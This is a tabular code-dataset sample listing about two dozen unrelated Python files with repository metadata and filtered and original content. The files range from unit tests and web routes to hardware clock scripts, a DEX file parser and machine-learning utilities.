hexsha stringlengths 40 40 | size int64 6 1.04M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 247 | max_stars_repo_name stringlengths 4 130 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 368k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 247 | max_issues_repo_name stringlengths 4 130 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 116k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 247 | max_forks_repo_name stringlengths 4 130 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 1 1.04M | avg_line_length float64 1.53 618k | max_line_length int64 1 1.02M | alphanum_fraction float64 0 1 | original_content stringlengths 6 1.04M | filtered:remove_non_ascii int64 0 538k | filtered:remove_decorators int64 0 917k | filtered:remove_async int64 0 722k | filtered:remove_classes int64 -45 1M | filtered:remove_generators int64 0 814k | filtered:remove_function_no_docstring int64 -102 850k | filtered:remove_class_no_docstring int64 -3 5.46k | filtered:remove_unused_imports int64 -1,350 52.4k | filtered:remove_delete_markers int64 0 59.6k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
13ce79e7bc833caaa58f53c306073d5399820e19 | 4,042 | py | Python | test/unit/app/dependencies/test_deps.py | beatrizserrano/galaxy | e149d9d32e1bca6c07c38b1a9cdabfee60323610 | [
"CC-BY-3.0"
] | null | null | null | test/unit/app/dependencies/test_deps.py | beatrizserrano/galaxy | e149d9d32e1bca6c07c38b1a9cdabfee60323610 | [
"CC-BY-3.0"
] | 6 | 2021-11-11T20:57:49.000Z | 2021-12-10T15:30:33.000Z | test/unit/app/dependencies/test_deps.py | beatrizserrano/galaxy | e149d9d32e1bca6c07c38b1a9cdabfee60323610 | [
"CC-BY-3.0"
] | null | null | null |
AZURE_BLOB_TEST_CONFIG = """<object_store type="azure_blob">
blah...
</object_store>
"""
AZURE_BLOB_TEST_CONFIG_YAML = """
type: azure_blob
other_attributes: blah
"""
DISTRIBUTED_WITH_AZURE_CONFIG_YAML = """
type: distributed
backends:
- id: files1
type: azure_blob
"""
FILES_SOURCES_DROPBOX = """
- type: w... | 26.768212 | 100 | 0.668976 | import os
from contextlib import contextmanager
from shutil import rmtree
from tempfile import mkdtemp
from galaxy.dependencies import ConditionalDependencies
AZURE_BLOB_TEST_CONFIG = """<object_store type="azure_blob">
blah...
</object_store>
"""
AZURE_BLOB_TEST_CONFIG_YAML = """
type: azure_blob
other_attribute... | 0 | 133 | 0 | 504 | 0 | 2,480 | 0 | 49 | 364 |
9b69e1bab544c0b203d401c1fb7bc5bdbe433e3f | 2,973 | py | Python | atest/testdata/keywords/type_conversion/KeywordDecoratorWithAliases.py | phil-davis/robotframework | 4d4ce686cbe01e293bb86ea6ff34330e8c45fc43 | [
"ECL-2.0",
"Apache-2.0"
] | 9 | 2020-04-22T08:30:52.000Z | 2020-12-07T08:25:09.000Z | atest/testdata/keywords/type_conversion/KeywordDecoratorWithAliases.py | phil-davis/robotframework | 4d4ce686cbe01e293bb86ea6ff34330e8c45fc43 | [
"ECL-2.0",
"Apache-2.0"
] | 63 | 2020-03-04T17:31:39.000Z | 2022-03-01T09:12:16.000Z | atest/testdata/keywords/type_conversion/KeywordDecoratorWithAliases.py | phil-davis/robotframework | 4d4ce686cbe01e293bb86ea6ff34330e8c45fc43 | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2020-11-23T03:44:31.000Z | 2020-11-23T03:44:31.000Z | # Imports needed for evaluating expected result.
| 24.570248 | 78 | 0.707703 | # Imports needed for evaluating expected result.
from datetime import datetime, date, timedelta
from decimal import Decimal
from robot.api.deco import keyword
from robot.utils import unicode
@keyword(types=['Integer']) # type always is given as str
def integer(argument, expected=None):
_validate_t... | 0 | 1,906 | 0 | 0 | 0 | 347 | 0 | 54 | 595 |
e70bac611bf0cb576fdd47ff1cffe53ad81bfa65 | 1,700 | py | Python | python/course/leetcode/1~27/20. Valid Parentheses.py | TimVan1596/ACM-ICPC | 07f7d728db1ecd09c5a3d0f05521930b14eb9883 | [
"Apache-2.0"
] | 1 | 2019-05-22T07:12:34.000Z | 2019-05-22T07:12:34.000Z | python/course/leetcode/1~27/20. Valid Parentheses.py | TimVan1596/ACM-ICPC | 07f7d728db1ecd09c5a3d0f05521930b14eb9883 | [
"Apache-2.0"
] | 3 | 2021-12-10T01:13:54.000Z | 2021-12-14T21:18:42.000Z | python/course/leetcode/1~27/20. Valid Parentheses.py | TimVan1596/ACM-ICPC | 07f7d728db1ecd09c5a3d0f05521930b14eb9883 | [
"Apache-2.0"
] | null | null | null | # -*- coding:utf-8 -*-
# @Time:2020/6/21 16:22
# @Author:TimVan
# @File:20. Valid Parentheses.py
# @Software:PyCharm
# 20. Valid Parentheses.py
# Given a string containing just the characters '(', ')', '{', '}', '[' and ']',
# determine if the input string is valid.
# An input string is valid if:
# Open brackets must ... | 22.972973 | 80 | 0.510588 | # -*- coding:utf-8 -*-
# @Time:2020/6/21 16:22
# @Author:TimVan
# @File:20. Valid Parentheses.py
# @Software:PyCharm
# 20. Valid Parentheses.py
# Given a string containing just the characters '(', ')', '{', '}', '[' and ']',
# determine if the input string is valid.
# An input string is valid if:
# Open brackets must ... | 110 | 0 | 0 | 763 | 0 | 0 | 0 | 0 | 23 |
1b27ba5a8a409c01d0c82515c5f1919028edc5e7 | 563 | py | Python | DS1302/LCD1602_clock/main.py | maysrp/pico_micropython | f9c27168fd48c769000aa6e4c8b96cbd0331dda0 | [
"Apache-2.0"
] | 31 | 2021-02-11T05:17:29.000Z | 2022-03-29T10:51:00.000Z | DS1302/LCD1602_clock/main.py | tanjunkai2001/pico_micropython | f9c27168fd48c769000aa6e4c8b96cbd0331dda0 | [
"Apache-2.0"
] | null | null | null | DS1302/LCD1602_clock/main.py | tanjunkai2001/pico_micropython | f9c27168fd48c769000aa6e4c8b96cbd0331dda0 | [
"Apache-2.0"
] | 11 | 2021-05-13T07:43:12.000Z | 2022-03-01T23:44:11.000Z | import DS1302
from machine import I2C, Pin
from esp8266_i2c_lcd import I2cLcd
import time
DEFAULT_I2C_ADDR = 0x27
i2c = I2C(0,sda=Pin(0),scl=Pin(1),freq=400000)
lcd = I2cLcd(i2c, DEFAULT_I2C_ADDR, 2, 16)
ds = DS1302.DS1302(Pin(2),Pin(3),Pin(4))
while True:
d=ds.DateTime()
date1=str(d[0])+"-"+str(d[1])+"-"+str... | 25.590909 | 75 | 0.602131 | import DS1302
from machine import I2C, Pin
from esp8266_i2c_lcd import I2cLcd
import time
DEFAULT_I2C_ADDR = 0x27
i2c = I2C(0,sda=Pin(0),scl=Pin(1),freq=400000)
lcd = I2cLcd(i2c, DEFAULT_I2C_ADDR, 2, 16)
ds = DS1302.DS1302(Pin(2),Pin(3),Pin(4))
while True:
d=ds.DateTime()
date1=str(d[0])+"-"+str(d[1])+"-"+str... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
82a44347e96ba5d94524251a6da1515e1e1868eb | 2,729 | py | Python | Recipes/Convert_Files_Into_JSON_And_CSV/JsonToCsvConverter.py | Lotame/DataStream_Cookbook | 3ec7ded6bd1e3a59fa4d06bb76e81be9da9c97a6 | [
"MIT"
] | 1 | 2022-02-28T10:40:53.000Z | 2022-02-28T10:40:53.000Z | Recipes/Convert_Files_Into_JSON_And_CSV/JsonToCsvConverter.py | Lotame/DataStream_Cookbook | 3ec7ded6bd1e3a59fa4d06bb76e81be9da9c97a6 | [
"MIT"
] | 2 | 2021-01-08T17:51:10.000Z | 2021-03-29T11:36:07.000Z | Recipes/Convert_Files_Into_JSON_And_CSV/JsonToCsvConverter.py | Lotame/DataStream_Cookbook | 3ec7ded6bd1e3a59fa4d06bb76e81be9da9c97a6 | [
"MIT"
] | 3 | 2020-01-26T23:31:23.000Z | 2022-02-18T19:29:30.000Z | #!/usr/bin/python
#
# Filename:
#
# JsonToCsvConverter.py
#
#
# Basic Usage:
#
# python JsonToCsvConverter.py /directory/containing/datastream/json/files
#
# Utilities
import sys
if __name__ == '__main__':
sys.exit(main())
| 41.984615 | 118 | 0.502382 | #!/usr/bin/python
#
# Filename:
#
# JsonToCsvConverter.py
#
#
# Basic Usage:
#
# python JsonToCsvConverter.py /directory/containing/datastream/json/files
#
# Utilities
import sys, os, re, glob, json
def writeCsvHeader(csv_file=None):
csv_file.write("id,type,region,country,client_id,behavior_id,timestamp... | 0 | 0 | 0 | 0 | 0 | 2,398 | 0 | 20 | 69 |
adeb408fc1a89c2fd97c9e45ce7aacd642215c2a | 996 | py | Python | benchmarks/CS_mobicom09/test.py | cuhk-cse/CloudMonitor | 09c40243019d5340508739353368dc1ccb24e908 | [
"MIT"
] | null | null | null | benchmarks/CS_mobicom09/test.py | cuhk-cse/CloudMonitor | 09c40243019d5340508739353368dc1ccb24e908 | [
"MIT"
] | null | null | null | benchmarks/CS_mobicom09/test.py | cuhk-cse/CloudMonitor | 09c40243019d5340508739353368dc1ccb24e908 | [
"MIT"
] | null | null | null | from matplotlib.pyplot import plot, show, figure, title
import matplotlib as plt
import numpy as np
from numpy import linalg as LA
from scipy.fftpack import dct, idct, fft, ifft
from scipy.sparse import coo_matrix
from sklearn.linear_model import Lasso
import sys, random
Fs = 40e3 #Sample rate
duration = 1./8
N_samps... | 17.473684 | 89 | 0.687751 | from matplotlib.pyplot import plot, show, figure, title
import matplotlib as plt
import numpy as np
from numpy import linalg as LA
from scipy.fftpack import dct, idct, fft, ifft
from scipy.sparse import coo_matrix
from sklearn.linear_model import Lasso
import sys, random
Fs = 40e3 #Sample rate
duration = 1./8
N_samps... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
c9af05c0ac18f8004ac1cec88752135ac9641f34 | 224 | py | Python | scripts/portal/evantalk01.py | Snewmy/swordie | ae01ed4ec0eb20a18730e8cd209eea0b84a8dd17 | [
"MIT"
] | 2 | 2020-08-25T06:55:19.000Z | 2021-03-15T14:37:34.000Z | scripts/portal/evantalk01.py | Snewmy/swordie | ae01ed4ec0eb20a18730e8cd209eea0b84a8dd17 | [
"MIT"
] | null | null | null | scripts/portal/evantalk01.py | Snewmy/swordie | ae01ed4ec0eb20a18730e8cd209eea0b84a8dd17 | [
"MIT"
] | 3 | 2020-08-25T06:55:25.000Z | 2020-12-01T13:07:43.000Z | # Portal & Balloon Msgs for Evan Intro | Dream World: Dream Forest Entrance (900010000)
# Author: Tiger
# "What was that? I heard something!"
sm.avatarOriented("Effect/OnUserEff.img/guideEffect/evanTutorial/evanBalloon01")
| 37.333333 | 87 | 0.776786 | # Portal & Balloon Msgs for Evan Intro | Dream World: Dream Forest Entrance (900010000)
# Author: Tiger
# "What was that? I heard something!"
sm.avatarOriented("Effect/OnUserEff.img/guideEffect/evanTutorial/evanBalloon01")
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
4e89ae040dacecacde89228fce8974f49769ad92 | 13,844 | py | Python | service/test.py | khromiumos/chromiumos-chromite | a42a85481cdd9d635dc40a04585e427f89f3bb3f | [
"BSD-3-Clause"
] | null | null | null | service/test.py | khromiumos/chromiumos-chromite | a42a85481cdd9d635dc40a04585e427f89f3bb3f | [
"BSD-3-Clause"
] | 2 | 2021-03-26T00:29:32.000Z | 2021-04-30T21:29:33.000Z | service/test.py | khromiumos/chromiumos-chromite | a42a85481cdd9d635dc40a04585e427f89f3bb3f | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright 2019 The Chromium OS Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Test service.
Handles test related functionality.
"""
from __future__ import print_function
import os
import re
import shuti... | 33.520581 | 80 | 0.682895 | # -*- coding: utf-8 -*-
# Copyright 2019 The Chromium OS Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Test service.
Handles test related functionality.
"""
from __future__ import print_function
import os
import re
import shuti... | 0 | 73 | 0 | 441 | 0 | 0 | 0 | 0 | 46 |
3a8e9c42bbbe8ae41e0eb64f6943cab9711b4272 | 983 | py | Python | shop_app/urls.py | syz247179876/e_mall | f94e39e091e098242342f532ae371b8ff127542f | [
"Apache-2.0"
] | 7 | 2021-04-10T13:20:56.000Z | 2022-03-29T15:00:29.000Z | shop_app/urls.py | syz247179876/E_mall | f94e39e091e098242342f532ae371b8ff127542f | [
"Apache-2.0"
] | 9 | 2021-05-11T03:53:31.000Z | 2022-03-12T00:58:03.000Z | shop_app/urls.py | syz247179876/E_mall | f94e39e091e098242342f532ae371b8ff127542f | [
"Apache-2.0"
] | 2 | 2020-11-24T08:59:22.000Z | 2020-11-24T14:10:59.000Z | from django.conf import settings
from django.urls import path
from rest_framework.routers import DefaultRouter
from shop_app.apis.carousel_api import CarouselApiView
from shop_app.apis.display_api import CommodityCardDisplay, CommodityDetailDisplay, CommodityCategoryDisplay
app_name = 'shop_app'
urlpatterns = [
... | 42.73913 | 112 | 0.786368 | from django.conf import settings
from django.urls import path
from rest_framework.routers import DefaultRouter
from shop_app.apis.carousel_api import CarouselApiView
from shop_app.apis.display_api import CommodityCardDisplay, CommodityDetailDisplay, CommodityCategoryDisplay
app_name = 'shop_app'
urlpatterns = [
... | 78 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
5a8d52fdeb95a6343f239fa3b69f0daa3368354c | 103 | py | Python | config.py | mkrum/das | 76559ffa3055d718590e9c457675cdf9a885f656 | [
"MIT"
] | null | null | null | config.py | mkrum/das | 76559ffa3055d718590e9c457675cdf9a885f656 | [
"MIT"
] | null | null | null | config.py | mkrum/das | 76559ffa3055d718590e9c457675cdf9a885f656 | [
"MIT"
] | null | null | null | import model
import data
from yamlargs import expose_module
expose_module(model)
expose_module(data)
| 12.875 | 34 | 0.84466 | import model
import data
from yamlargs import expose_module
expose_module(model)
expose_module(data)
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
f72f2ae2da1a8824ea37a9d9fc536ef3fce7fc12 | 1,481 | py | Python | tests/test.py | icetana-james/python-onvif-zeep | 9947a3c203037857fbc04c9fafabc722e3436a13 | [
"MIT"
] | null | null | null | tests/test.py | icetana-james/python-onvif-zeep | 9947a3c203037857fbc04c9fafabc722e3436a13 | [
"MIT"
] | null | null | null | tests/test.py | icetana-james/python-onvif-zeep | 9947a3c203037857fbc04c9fafabc722e3436a13 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*-coding=utf-8
from __future__ import print_function, division
import unittest
CAM_HOST = '10.1.3.10'
CAM_PORT = 80
CAM_USER = 'root'
CAM_PASS = 'password'
DEBUG = False
if __name__ == '__main__':
unittest.main()
| 26.927273 | 69 | 0.627279 | #!/usr/bin/python
# -*-coding=utf-8
from __future__ import print_function, division
import unittest
from onvif import ONVIFCamera, ONVIFError
CAM_HOST = '10.1.3.10'
CAM_PORT = 80
CAM_USER = 'root'
CAM_PASS = 'password'
DEBUG = False
def log(ret):
if DEBUG:
print(ret)
class TestDevice(unittest.TestCas... | 0 | 0 | 0 | 1,123 | 0 | 25 | 0 | 20 | 69 |
c703b16b8e51448f4e5f56de4047c70ac76ccd2a | 1,342 | py | Python | PhysicsTools/PatExamples/bin/PatBasicFWLiteJetAnalyzer_Selector_cfg.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 852 | 2015-01-11T21:03:51.000Z | 2022-03-25T21:14:00.000Z | PhysicsTools/PatExamples/bin/PatBasicFWLiteJetAnalyzer_Selector_cfg.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 30,371 | 2015-01-02T00:14:40.000Z | 2022-03-31T23:26:05.000Z | PhysicsTools/PatExamples/bin/PatBasicFWLiteJetAnalyzer_Selector_cfg.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 3,240 | 2015-01-02T05:53:18.000Z | 2022-03-31T17:24:21.000Z | import FWCore.ParameterSet.Config as cms
process = cms.Process("FWLitePlots")
#input stuff for Run/Lumi selection with the "JSON"-formatted files from the PVT group
import FWCore.PythonUtilities.LumiList as LumiList
# setup process
process = cms.Process("FWLitePlots")
# get JSON file correctly parced
JSONfile = 'D... | 26.313725 | 86 | 0.735469 | import FWCore.ParameterSet.Config as cms
process = cms.Process("FWLitePlots")
#input stuff for Run/Lumi selection with the "JSON"-formatted files from the PVT group
import FWCore.PythonUtilities.LumiList as LumiList
# setup process
process = cms.Process("FWLitePlots")
# get JSON file correctly parced
JSONfile = 'D... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
a1cc77e635f020343b387d6c8813e4e191853739 | 449 | py | Python | tests/test_2_tesseract.py | JoelStansbury/ipypdf | 624907dce2ca2b5c8d1af3562eb8cd11e277a86d | [
"MIT"
] | null | null | null | tests/test_2_tesseract.py | JoelStansbury/ipypdf | 624907dce2ca2b5c8d1af3562eb8cd11e277a86d | [
"MIT"
] | 2 | 2022-02-09T18:09:25.000Z | 2022-03-02T20:39:10.000Z | tests/test_2_tesseract.py | JoelStansbury/ipypdf | 624907dce2ca2b5c8d1af3562eb8cd11e277a86d | [
"MIT"
] | null | null | null | from ipypdf.widgets.node_tools import AutoTools
def test_parse_text(app, pdf_nodes):
"""
Check that the ocr model runs and adds content properly
"""
doc_node = pdf_nodes[0]
app.tree.remove_children(doc_node) # clear any previously defined nodes
AutoTools(doc_node).extract_text()
assert l... | 28.0625 | 86 | 0.721604 | from ipypdf.widgets.node_tools import AutoTools
def test_parse_text(app, pdf_nodes):
"""
Check that the ocr model runs and adds content properly
"""
doc_node = pdf_nodes[0]
app.tree.remove_children(doc_node) # clear any previously defined nodes
AutoTools(doc_node).extract_text()
assert l... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
67ab2f18f9b97d3c4e25877cd077c99da77ec069 | 10,242 | py | Python | plugin.video.yatp/site-packages/hachoir_parser/program/dex.py | mesabib/kodi.yatp | d874df43047b5b58f84cb3760fc891d9a133a69f | [
"CNRI-Python"
] | 194 | 2016-12-23T19:11:09.000Z | 2020-12-07T04:04:10.000Z | lib/hachoir_parser/program/dex.py | nosmokingbandit/Autolycus | 37b376ba2fc27aa7e98f0071b457ebfbc605d4ab | [
"ECL-2.0",
"Apache-2.0"
] | 236 | 2016-11-20T07:56:15.000Z | 2017-04-12T12:10:00.000Z | lib/hachoir_parser/program/dex.py | nosmokingbandit/Autolycus | 37b376ba2fc27aa7e98f0071b457ebfbc605d4ab | [
"ECL-2.0",
"Apache-2.0"
] | 51 | 2016-11-20T08:05:33.000Z | 2021-01-26T13:22:40.000Z | '''
Dalvik Executable (dex) parser.
References:
- http://www.dalvikvm.com/
- http://code.google.com/p/androguard/source/browse/core/bytecodes/dvm.py
- http://androguard.googlecode.com/hg/specs/dalvik/dex-format.html
Author: Robert Xiao
Creation Date: May 29, 2011
'''
# modified from java.py
code_to_type_name = {
... | 42.853556 | 130 | 0.662859 | '''
Dalvik Executable (dex) parser.
References:
- http://www.dalvikvm.com/
- http://code.google.com/p/androguard/source/browse/core/bytecodes/dvm.py
- http://androguard.googlecode.com/hg/specs/dalvik/dex-format.html
Author: Robert Xiao
Creation Date: May 29, 2011
'''
from hachoir_parser import HachoirParser
from hac... | 0 | 0 | 0 | 8,564 | 0 | 456 | 0 | 286 | 456 |
7beaa8b171e8f929a0a4c770a4a7bd858f471c3e | 2,661 | py | Python | examples/tiktok.py | Michael-fore/py_collector | 0b5207b5029c018367f2ed1ceda295df2584338a | [
"MIT"
] | null | null | null | examples/tiktok.py | Michael-fore/py_collector | 0b5207b5029c018367f2ed1ceda295df2584338a | [
"MIT"
] | null | null | null | examples/tiktok.py | Michael-fore/py_collector | 0b5207b5029c018367f2ed1ceda295df2584338a | [
"MIT"
] | null | null | null | try:
from pymodm.connection import connect
except:
raise ImportError('Please make sure pymongo, pymodm, bs4,and requests\
are installed to run this example')
connect("mongodb://localhost:27017/myDatabase", alias="my-app")
if __name__ =='__main__':
TikTok().monitor() | 35.013158 | 108 | 0.585118 | from py_collector import Scheduler, Manager, Collector
from datetime import datetime
try:
from pymongo.write_concern import WriteConcern
from pymodm.connection import connect
from pymodm import MongoModel, fields
from bs4 import BeautifulSoup
import requests
except:
raise ImportError('Please mak... | 0 | 0 | 0 | 2,086 | 0 | 0 | 0 | 84 | 194 |
738f9a06edf2bd2baf594e0cdd9c59088f4acbf6 | 1,430 | py | Python | 1_image_classification/make_folders_and_data_downloads.py | Yuya382/LearnPyTorchBook | d4b4f35568102a522049c68587b55659898452a1 | [
"MIT"
] | null | null | null | 1_image_classification/make_folders_and_data_downloads.py | Yuya382/LearnPyTorchBook | d4b4f35568102a522049c68587b55659898452a1 | [
"MIT"
] | null | null | null | 1_image_classification/make_folders_and_data_downloads.py | Yuya382/LearnPyTorchBook | d4b4f35568102a522049c68587b55659898452a1 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# coding: utf-8
# # 1
#
# - 1
#
# In[1]:
import os
import urllib.request
import zipfile
# In[2]:
# data
data_dir = "./data/"
if not os.path.exists(data_dir):
os.mkdir(data_dir)
# In[3]:
# ImageNetclass_index
# Keras
# https://github.com/fchollet/deep-learning-models/blob/master/im... | 19.589041 | 92 | 0.741259 | #!/usr/bin/env python
# coding: utf-8
# # 「第1章 画像分類」の準備ファイル
#
# - 本ファイルでは、第1章で使用するフォルダの作成とファイルのダウンロードを行います。
#
# In[1]:
import os
import urllib.request
import zipfile
# In[2]:
# フォルダ「data」が存在しない場合は作成する
data_dir = "./data/"
if not os.path.exists(data_dir):
os.mkdir(data_dir)
# In[3]:
# ImageNetのclass_inde... | 773 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
d1c6581c8803a466a8c61d0974ac08dad9038d1d | 658 | py | Python | xoeuf/fields/timezone.py | merchise-autrement/xoeuf | 583a0faa345480e73110d467203eefd142b0a710 | [
"BSD-3-Clause"
] | 3 | 2015-05-16T04:40:14.000Z | 2016-01-26T05:36:20.000Z | xoeuf/fields/timezone.py | merchise-autrement/xoeuf | 583a0faa345480e73110d467203eefd142b0a710 | [
"BSD-3-Clause"
] | null | null | null | xoeuf/fields/timezone.py | merchise-autrement/xoeuf | 583a0faa345480e73110d467203eefd142b0a710 | [
"BSD-3-Clause"
] | 1 | 2017-03-23T23:08:50.000Z | 2017-03-23T23:08:50.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# ---------------------------------------------------------------------
# Copyright (c) Merchise Autrement [~/~] and Contributors
# All rights reserved.
#
# This is free software; you can do what the LICENCE file allows you to.
#
from odoo import fields
def TimezoneSelec... | 26.32 | 79 | 0.586626 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# ---------------------------------------------------------------------
# Copyright (c) Merchise Autrement [~º/~] and Contributors
# All rights reserved.
#
# This is free software; you can do what the LICENCE file allows you to.
#
from odoo import api, fields
@api.model
d... | 2 | 179 | 0 | 0 | 0 | 0 | 0 | 5 | 23 |
d6e8525e3ca6c88315853cd448437ed80346d224 | 2,065 | py | Python | .venv/lib/python2.7/site-packages/celery/contrib/sphinx.py | MansoorHanif/FYP-web-app | 918008d3b5eedaa904f3e720296afde9d73ac3f4 | [
"BSD-3-Clause"
] | null | null | null | .venv/lib/python2.7/site-packages/celery/contrib/sphinx.py | MansoorHanif/FYP-web-app | 918008d3b5eedaa904f3e720296afde9d73ac3f4 | [
"BSD-3-Clause"
] | null | null | null | .venv/lib/python2.7/site-packages/celery/contrib/sphinx.py | MansoorHanif/FYP-web-app | 918008d3b5eedaa904f3e720296afde9d73ac3f4 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
"""Sphinx documentation plugin used to document tasks.
Introduction
============
Usage
-----
Add the extension to your :file:`docs/conf.py` configuration module:
.. code-block:: python
extensions = (...,
'celery.contrib.sphinx')
If you'd like to change the prefix for ... | 27.905405 | 78 | 0.694431 | # -*- coding: utf-8 -*-
"""Sphinx documentation plugin used to document tasks.
Introduction
============
Usage
-----
Add the extension to your :file:`docs/conf.py` configuration module:
.. code-block:: python
extensions = (...,
'celery.contrib.sphinx')
If you'd like to change the prefix for ... | 0 | 140 | 0 | 625 | 0 | 0 | 0 | 98 | 156 |
475d035f005b75b6d141dc53f0090286fa83148e | 3,534 | py | Python | app/auth/views.py | Sunnywillow/blog2 | 16c37e1687dfdfa42c13bbad68ce00d5f06c2344 | [
"MIT"
] | null | null | null | app/auth/views.py | Sunnywillow/blog2 | 16c37e1687dfdfa42c13bbad68ce00d5f06c2344 | [
"MIT"
] | null | null | null | app/auth/views.py | Sunnywillow/blog2 | 16c37e1687dfdfa42c13bbad68ce00d5f06c2344 | [
"MIT"
] | null | null | null | from .. import db
| 36.061224 | 80 | 0.642615 | from flask import render_template, request, url_for, flash, redirect
from flask_login import login_user, logout_user, login_required, current_user
from . import auth
from .. import db
from ..models import User
from .forms import LoginForm, RegistrationForm
from ..email import send_email
@auth.before_app_requ... | 573 | 2,864 | 0 | 0 | 0 | 0 | 0 | 138 | 312 |
0e4308b4afcb644d7891ff59d5af04d6df7d7562 | 13,054 | py | Python | loss_landscape_anim/model.py | lindsey98/loss-landscape-anim | 8cecd75d65a96c5f587c4f36e35d6c8aa0e8d6e0 | [
"MIT"
] | null | null | null | loss_landscape_anim/model.py | lindsey98/loss-landscape-anim | 8cecd75d65a96c5f587c4f36e35d6c8aa0e8d6e0 | [
"MIT"
] | null | null | null | loss_landscape_anim/model.py | lindsey98/loss-landscape-anim | 8cecd75d65a96c5f587c4f36e35d6c8aa0e8d6e0 | [
"MIT"
] | null | null | null | """GenericModel class and its child classes.
The GenericModel class enables flattening of the model parameters for tracking.
MLP and LeNet are example models. Add your own PyTorch model by inheriting
from GenericModel and organizing it into the pytorch lightning style.
"""
# pylint: disable = no-member
... | 33.818653 | 88 | 0.579975 | """GenericModel class and its child classes.
The GenericModel class enables flattening of the model parameters for tracking.
MLP and LeNet are example models. Add your own PyTorch model by inheriting
from GenericModel and organizing it into the pytorch lightning style.
"""
# pylint: disable = no-member
import pytorch_... | 0 | 0 | 0 | 12,479 | 0 | 0 | 0 | 39 | 210 |
f10f31f168334907ca5cbd6dc35cda1ddeb96c6a | 4,554 | py | Python | pyinjective/proto/exchange/injective_insurance_rpc_pb2_grpc.py | CtheSky/sdk-python | c1b1ae931f4970832466a004eb193027bdc1dea5 | [
"Apache-2.0"
] | 10 | 2021-09-07T08:03:52.000Z | 2022-03-08T08:39:30.000Z | pyinjective/proto/exchange/injective_insurance_rpc_pb2_grpc.py | CtheSky/sdk-python | c1b1ae931f4970832466a004eb193027bdc1dea5 | [
"Apache-2.0"
] | 39 | 2021-08-19T20:09:35.000Z | 2022-03-22T19:51:59.000Z | pyinjective/proto/exchange/injective_insurance_rpc_pb2_grpc.py | CtheSky/sdk-python | c1b1ae931f4970832466a004eb193027bdc1dea5 | [
"Apache-2.0"
] | 5 | 2021-11-02T16:23:48.000Z | 2022-01-20T22:30:05.000Z | # Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
"""Client and server classes corresponding to protobuf-defined services."""
# This class is part of an EXPERIMENTAL API.
| 43.371429 | 123 | 0.701142 | # Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
"""Client and server classes corresponding to protobuf-defined services."""
import grpc
from exchange import injective_insurance_rpc_pb2 as exchange_dot_injective__insurance__rpc__pb2
class InjectiveInsuranceRPCStub(object):
"""InjectiveInsura... | 0 | 1,414 | 0 | 1,770 | 0 | 973 | 0 | 64 | 136 |
3269fc7e1ba7414ee7bf4529babe43113962d576 | 5,704 | py | Python | tag2hierarchy/utils/utils.py | cesarali/Tag2Hierarchy | 182bc948a1b4c497a991b12a29ff56023f98c05a | [
"MIT"
] | null | null | null | tag2hierarchy/utils/utils.py | cesarali/Tag2Hierarchy | 182bc948a1b4c497a991b12a29ff56023f98c05a | [
"MIT"
] | 1 | 2017-06-13T13:08:12.000Z | 2017-06-13T13:08:12.000Z | tag2hierarchy/utils/utils.py | cesarali/Tag2Hierarchy | 182bc948a1b4c497a991b12a29ff56023f98c05a | [
"MIT"
] | null | null | null | '''
Created on May 27, 2016
@author: cesar
'''
from scipy.stats import norm, pareto, lognorm, gamma, weibull_min, weibull_max, expon
import numpy as np
from scipy.stats import kstest
import sys
from matplotlib import pyplot as plt
from scipy.stats import expon, lognorm, pareto
def bestFit(X,plot=False,distToTest=["... | 36.8 | 130 | 0.577139 | '''
Created on May 27, 2016
@author: cesar
'''
from scipy.stats import norm, pareto, lognorm, gamma, weibull_min, weibull_max, gengamma, expon
import numpy as np
from scipy.stats import kstest
import sys
from matplotlib import pyplot as plt
from scipy import interpolate
from scipy.integrate import quadrature
from sci... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 35 | 44 |
